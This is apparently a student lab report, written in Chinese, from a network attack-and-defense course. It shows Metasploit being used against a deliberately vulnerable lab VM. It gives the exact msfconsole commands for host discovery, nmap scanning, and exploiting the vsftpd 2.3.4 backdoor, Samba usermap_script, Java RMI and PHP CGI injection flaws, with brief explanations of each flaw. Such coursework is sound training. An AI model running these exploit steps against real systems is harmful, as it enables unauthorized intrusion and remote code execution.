20222318 2024-2025-1 《网络与系统攻防技术》实验六实验报告

1.实验内容

1.1 实验要求

掌握Metasploit的使用方法:“Search——Use——Show——Set——Exploit/run”。

1.2 实验任务

(1)前期渗透

(2)Vsftpd源码包后门漏洞(21端口)

(3)SambaMS-RPC Shell命令注入漏洞(端口139)

(4)Java RMI SERVER命令执行漏洞(1099端口)

(5)PHP CGI参数执行注入漏洞(80端口)

1.3 本周学习内容

本周就是在周五就已经被测试折磨得学会了metasploit,虽然最终因为各种原因没做出来,但是还是了解了整个过程以及原理,掌握了搜索对应漏洞,再通过show options来找出自己需要填的参数的万能方法(好吧也并不万能,如果受害机打了补丁修复了漏洞就无能为力了)。

2.实验过程

2.1 前期渗透

(1)主机发现(可用Aux中的arp_sweep,search一下就可以use)

在Kali中依次输入如下命令。

  • msfconsole //进入msf控制台

  • search arp_sweep //搜寻arp_sweep功能模块

  • use 0 //在查询结果中使用第0项模块(也可以将0换成具体模块名字)

  • show options //查找该模块目前已填入的参数(同时可以看到需要填写的参数)

可以看到必填项只剩RHOST没填,所以我们只需要去靶机查询IP地址,设置参数即可。

在靶机下载官网可知道登录靶机用户名和密码均为“msfadmin”,进入靶机。

在靶机中输入 ipconfig

再返回Kali输入如下命令。

  • set RHOSTS 192.168.197.148/24 //设置目标主机IP地址

  • run //开始扫描

可能是由于写了子网掩码,扫描的其实是目标网段。可能命令里IP地址应该是一个网段。

不过不管怎样,在扫描结果中找到了靶机。

(2)端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

输入exit退出msf控制台。在命令行中直接使用指令:

nmap -p 1-2318 192.168.197.148 //扫描靶机的1-2318端口。

可以在截图中看到开放的端口。

(3)漏洞扫描。

接着使用nmap -script=vuln 192.168.197.148对靶机进行漏洞扫描。

可以看到靶机中存在相当多漏洞。在图片信息中提取出本次实验要用到的21、139、1099、80端口的开放信息以及漏洞信息。

2.2 Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

在Kali中进入msf控制台,输入如下命令:

  • use exploit/unix/ftp/vsftpd_234_backdoor //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

再利用uname –apwdidifconfig等命令进行验证是否攻击成功

可以看到已经获取靶机shell,攻击成功。

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)

漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

在msf控制台中,输入如下命令:

  • use exploit/multi/samba/usermap_script //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

再利用ifconfig命令进行验证是否攻击成功,可以看到攻击成功了。

2.4 Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

在msf控制台中,输入如下命令:

  • use exploit/multi/misc/java_rmi_server //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

  • ifconfig //验证攻击是否成功

可以看到攻击成功了(其实没有)。

不知道为什么无法打开shell呢。但是又可以输入其他一些命令,看起来好像取得了部分控制权一样。

2.5 PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

在msf控制台中,输入如下命令:

  • use exploit/multi/http/php_cgi_arg_injection //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

  • shell //尝试打开靶机shell

😦 为什么还是打不开。感觉和我的kali版本有关吧(闭目),因为之前重装kali时下的是什么purple版。

3.问题及解决方案

执行第4个和第5个任务时无法执行shell命令。

解决过程:

1.尝试用sudo apt-get install --only-upgrade metasploit-framework更新metasploit,已经是最新版了。无效
2.了解为什么shell命令是非法参数,第一步类型错误试过了,不奏效。

于是进行第二步,看是不是默认设置的payload不适用。

更改payload后,仍然无效。

遂无法解决问题。(偷看了一眼其他同学的实验报告,全部都看一遍了,好像没出现过我这个问题。。😦)

4.学习感悟、思考等

这次实验其实和周四周五那个作业差不多,但是这次更简单,因为老师已经提前给出所有需要用的命令了,又因为周四周五拷打完已经熟悉了metasploit的流程,所以这次做起来还挺轻松的。(除了执行shell命令并不顺利以外)。好吧,网络攻防复现的过程总是会伴随着各种奇奇怪怪的问题,我已经习以为常,锻炼了个好心态!T T毕竟对我来说更重要的是了解原理,而且通过亲身实践去熟悉这个过程,无法完美复现也没办法啦,尽力就好。

posted @ 2024-11-19 23:00  追风是菜鸟  阅读(7)  评论(0编辑  收藏  举报